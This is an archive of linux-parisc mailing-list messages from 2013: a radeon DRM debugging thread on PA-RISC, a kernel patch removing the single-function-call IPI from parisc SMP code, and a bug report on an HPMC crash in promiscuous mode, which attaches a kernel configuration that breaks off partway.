Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378897901 30214 80.91.229.3 (11 Sep 2013 11:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Sep 2013 11:11:41 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 11 13:11:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VJiKk-0003kH-5C
	for glpp-linux-parisc@plane.gmane.org; Wed, 11 Sep 2013 13:11:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751348Ab3IKLLl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Sep 2013 07:11:41 -0400
Original-Received: from forward7l.mail.yandex.net ([84.201.143.140]:49372 "EHLO
	forward7l.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751160Ab3IKLLl convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Sep 2013 07:11:41 -0400
Original-Received: from smtp11.mail.yandex.net (smtp11.mail.yandex.net [95.108.130.67])
	by forward7l.mail.yandex.net (Yandex) with ESMTP id 0B942BC1063;
	Wed, 11 Sep 2013 15:11:37 +0400 (MSK)
Original-Received: from smtp11.mail.yandex.net (localhost [127.0.0.1])
	by smtp11.mail.yandex.net (Yandex) with ESMTP id A7E187E087B;
	Wed, 11 Sep 2013 15:11:37 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp11.mail.yandex.net (nwsmtp/Yandex) with ESMTP id ygcXVsOk7F-BbViFSDW;
	Wed, 11 Sep 2013 15:11:37 +0400
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5322>

Mates, let's continue with this issue at dri-devel@lists.freedesktop.or=
g
Here's where we stopped:

--[start]--

> =EF=D4: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
> =F4=C5=CD=C1: =EF=D4=D7=C5=D4: drm/radeon: "ring test failed" on PA-R=
ISC Linux
> =E4=C1=D4=C1: 10 =D3=C5=CE=D4=D1=C2=D2=D1 2013 =C7., 17:25:29 GMT+04:=
00
> =EB=CF=CD=D5: Alex Ivanov <gnidorah@p0n4ik.tk>
> =EB=CF=D0=C9=D1: Alex Deucher <alexdeucher@gmail.com>, Maling list - =
DRI developers <dri-devel@lists.freedesktop.org>
>=20
> On Tue, Sep 10, 2013 at 01:20:57PM +0400, Alex Ivanov wrote:
>>=20
>> Thanks! I'll try. Meanwhile i've tried a switch from page_alloc() to
>> dma_alloc_coherent() in radeon_dummy_page_*(), which didn't help :(
>=20
> Is this platform enabling the SWIOTLB layer? The reason I am asking i=
s
> b/c if you do indeed enable it you end up using the TTM DMA pool
> which allocates pages using the dma_alloc_coherent - which means that
> all of the pages that come out of TTM are already 'DMA' mapped.
>=20
> And that means the radeon_gart_bind and all its friends=20
> use the DMA addresses that have been constructed by SWIOTLB IOMMU.
>=20
> Perhaps the PA-RISC IOMMU creates the DMA addresses differently?
>=20
> When the card gets programmed, you do end up using ttm_agp_bind right=
?
> I am wondering if something like this:
>=20
> https://lkml.org/lkml/2010/12/6/512
>=20
> is needed to pass in the right DMA address?

--[end]--

Thomas,

> What I'm still wondering is whether radeon DRM really works on 64bit
> big endian boxes.
> Is it running on any big endian boxes ?

It's running ok at least on 32-bit big-endian PowerPCs and on 64-bit=20
big-endian PowerPC G5 machines.

> Is there any prove, that someone has it running ?

Here they are:
https://groups.google.com/d/msg/linux.kernel/BnAMrzyO2wg/W-R5UVh_VLIJ
And here's an excerpt from this one:
http://lists.freedesktop.org/archives/dri-devel/2013-September/045029.h=
tml
"I don't think that will any difference.  radeon kms works fine on
other big endian platforms such as powerpc."--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [RFC PATCH v2 14/25] smp, parisc: kill SMP single function call interrupt
Date: Thu, 12 Sep 2013 00:07:18 +0800
Lines: 50
Approved: news@gmane.org
Message-ID: <1378915649-16395-15-git-send-email-liuj97@gmail.com>
References: <1378915649-16395-1-git-send-email-liuj97@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1378915819 25454 80.91.229.3 (11 Sep 2013 16:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Sep 2013 16:10:19 +0000 (UTC)
Cc: liuj97@gmail.com, Jiang Liu <jiang.liu@huawei.com>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Steven Rostedt <rostedt@goodmis.org>,
	Jiri Kosina <trivial@kernel.org>,
	Wang YanQing <udknight@gmail.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Shaohua Li <shli@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 11 18:10:18 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VJmzh-0004ol-TP
	for glk-linux-kernel-3@plane.gmane.org; Wed, 11 Sep 2013 18:10:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756544Ab3IKQKF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 Sep 2013 12:10:05 -0400
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:60720 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755185Ab3IKQKA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 Sep 2013 12:10:00 -0400
Original-Received: by mail-pa0-f45.google.com with SMTP id bg4so9449968pad.4
        for <multiple recipients>; Wed, 11 Sep 2013 09:09:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=8suB3SnRNbUJE30Abfi/mqAnksKTu763TOWEXqEVdt8=;
        b=mgp3XzM2Helh1LTa59qJvK4BOkVB01hDuXovqvInJOhMcy2RKBaVX0dCMOZxUrpP8G
         LPt7uzlzrUPw9XbIwzkXjwgN8WWJHihJs+DsGeX6K7mBvvDt1ltECajIL+RzvDF7d8So
         ZTlsRE8dTMVN2ndnqWzxD/iPHBn4r/Ocvqc4pRQbvj+a1nz9FIuLFEirDZbu4cF5qZ2k
         XoeTdPRbM06hnQwGOHAkWgPnCcZ/+raeTyFkttb+yY46JH92LUMEAeKfJ+5PhDtPevU5
         ndqeBRCmX9GEsXJLj9Yq4gpt9EEMt+rJIoze/8FQ1RXe6a2NaJ6bUoeOmwSwlxKqmufB
         7ybA==
X-Received: by 10.68.76.34 with SMTP id h2mr2783501pbw.20.1378915799804;
        Wed, 11 Sep 2013 09:09:59 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.250.76.12])
        by mx.google.com with ESMTPSA id u7sm12734166pbf.12.1969.12.31.16.00.00
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 11 Sep 2013 09:09:58 -0700 (PDT)
X-Mailer: git-send-email 1.8.1.2
In-Reply-To: <1378915649-16395-1-git-send-email-liuj97@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1560082 gmane.linux.ports.parisc:5323 gmane.linux.kernel.cross-arch:19523
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1560082>

From: Jiang Liu <jiang.liu@huawei.com>

Commit 9a46ad6d6df3b54 "smp: make smp_call_function_many() use logic
similar to smp_call_function_single()" has unified the way to handle
single and multiple cross-CPU function calls. Now only one interrupt
is needed for architecture specific code to support generic SMP function
call interfaces, so kill the redundant single function call interrupt.

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: Jiang Liu <liuj97@gmail.com>
---
 arch/parisc/kernel/smp.c | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 8a252f2..2b96602 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -72,7 +72,6 @@ enum ipi_message_type {
 	IPI_NOP=0,
 	IPI_RESCHEDULE=1,
 	IPI_CALL_FUNC,
-	IPI_CALL_FUNC_SINGLE,
 	IPI_CPU_START,
 	IPI_CPU_STOP,
 	IPI_CPU_TEST
@@ -164,11 +163,6 @@ ipi_interrupt(int irq, void *dev_id)
 				generic_smp_call_function_interrupt();
 				break;
 
-			case IPI_CALL_FUNC_SINGLE:
-				smp_debug(100, KERN_DEBUG "CPU%d IPI_CALL_FUNC_SINGLE\n", this_cpu);
-				generic_smp_call_function_single_interrupt();
-				break;
-
 			case IPI_CPU_START:
 				smp_debug(100, KERN_DEBUG "CPU%d IPI_CPU_START\n", this_cpu);
 				break;
@@ -260,7 +254,7 @@ void arch_send_call_function_ipi_mask(const struct cpumask *mask)
 
 void arch_send_call_function_single_ipi(int cpu)
 {
-	send_IPI_single(cpu, IPI_CALL_FUNC_SINGLE);
+	send_IPI_single(cpu, IPI_CALL_FUNC);
 }
 
 /*
-- 
1.8.1.2


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: C8000 / PA8800 64-bit SMP with kernel 3.11.0 - HPMC in
 cpu_startup_entry while setting promiscuous mode on eth
Date: Fri, 13 Sep 2013 18:27:05 +0200
Lines: 3159
Approved: news@gmane.org
Message-ID: <20130913182705.6d8471ae@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/8C6jCf.IJYbL1W6B6/h8FAh"
X-Trace: ger.gmane.org 1379089645 11483 80.91.229.3 (13 Sep 2013 16:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Sep 2013 16:27:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 13 18:27:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VKWDD-0001D3-RL
	for glpp-linux-parisc@plane.gmane.org; Fri, 13 Sep 2013 18:27:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754092Ab3IMQ1O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Sep 2013 12:27:14 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:40863 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754736Ab3IMQ1L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Sep 2013 12:27:11 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 6230033E9DB
	for <linux-parisc@vger.kernel.org>; Fri, 13 Sep 2013 16:27:09 +0000 (UTC)
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5324>

--MP_/8C6jCf.IJYbL1W6B6/h8FAh
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Resending since it apparently never got through (binary attachment?)...

While running tcpdump or wireshark (dumpcap) and setting promiscuous
mode on eth0, I get an HPMC in cpu_startup_entry.

Attached are the:

1) PDC output for PIM(1) and assorted information
   gathered from the PDC SER menu and the serial console
2) gzipped System.map of the kernel
3) .config of the kernel

40:01.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030
PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
40:01.1 SCSI storage controller: LSI Logic / Symbios Logic 53c1030
PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
60:01.0 USB controller: NEC Corporation OHCI USB Controller (rev 41)
60:01.1 USB controller: NEC Corporation OHCI USB Controller (rev 41)
60:01.2 USB controller: NEC Corporation uPD72010x USB 2.0 Controller
(rev 02)
60:02.0 IDE interface: Silicon Image, Inc. PCI0680 Ultra ATA-133 Host
Controller (rev 02)
60:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet
Controller (rev 02)
80:00.0 VGA compatible controller: Advanced Micro Devices, Inc.
[AMD/ATI] RV350 GL [FireGL T2] (rev 80)

What else to say? I'm rebuilding the kernel with debug symbols to maybe
get some more out of this. It's the second time exactly this happened
so I might be able to reproduce it fairly easily. I should also note
that the /first/ time I switched eth0 to promisc. mode, the HPMC didn't
occur, only the second time in that run time of the kernel.


Regards,
     jer



(1) PIM HPMC fails with:
WARNING:  Processor parameter is incorrect or out of range.
--MP_/8C6jCf.IJYbL1W6B6/h8FAh
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=config

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.11.0-gentoo Kernel Configuration
#

#
# Gentoo Linux
#
CONFIG_GENTOO_LINUX=y
CONFIG_GENTOO_LINUX_UDEV=y

#
# Support for init systems, system and service managers
#
CONFIG_GENTOO_LINUX_INIT_SCRIPT=y
# CONFIG_GENTOO_LINUX_INIT_SYSTEMD is not set
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-unknown-linux-gnu-"
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION="-JeR"
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="karsten"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_FHANDLE=y
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_PREEMPT_RCU is not set
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_FANOUT=64
CONFIG_RCU_FANOUT_LEAF=16
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_RCU_NOCB_CPU is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=18
CONFIG_CGROUPS=y
# CONFIG_CGROUP_DEBUG is not set
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_DEVICE=y
CONFIG_CPUSETS=y
CONFIG_PROC_PID_CPUSET=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_RESOURCE_COUNTERS=y
# CONFIG_MEMCG is not set
CONFIG_CGROUP_SCHED=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
CONFIG_RT_GROUP_SCHED=y
CONFIG_BLK_CGROUP=y
# CONFIG_DEBUG_BLK_CGROUP is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_IPC_NS=y
# CONFIG_USER_NS is not set
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_UIDGID_CONVERTED=y
# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set
CONFIG_SCHED_AUTOGROUP=y
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_RD_LZ4=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_PCI_QUIRKS=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_SLUB_CPU_PARTIAL=y
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_USE_GENERIC_SMP_HELPERS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLK_DEV_THROTTLING=y

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_CFQ_GROUP_IOSCHED=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_FREEZER=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_IRQSTACKS=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_CROSS_MEMORY_ATTACH=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_ZBUD is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_NR_CPUS=32

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set

#
# PCI host controller drivers
#
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=m

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=m
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_NET_IP_TUNNEL=m
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
CONFIG_INET_LRO=m
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
# CONFIG_IPV6_MIP6 is not set
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_GRE is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
CONFIG_STP=m
CONFIG_BRIDGE=m
CONFIG_BRIDGE_IGMP_SNOOPING=y
# CONFIG_BRIDGE_VLAN_FILTERING is not set
CONFIG_HAVE_NET_DSA=y
CONFIG_VLAN_8021Q=m
# CONFIG_VLAN_8021Q_GVRP is not set
# CONFIG_VLAN_8021Q_MVRP is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
CONFIG_DNS_RESOLVER=m
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
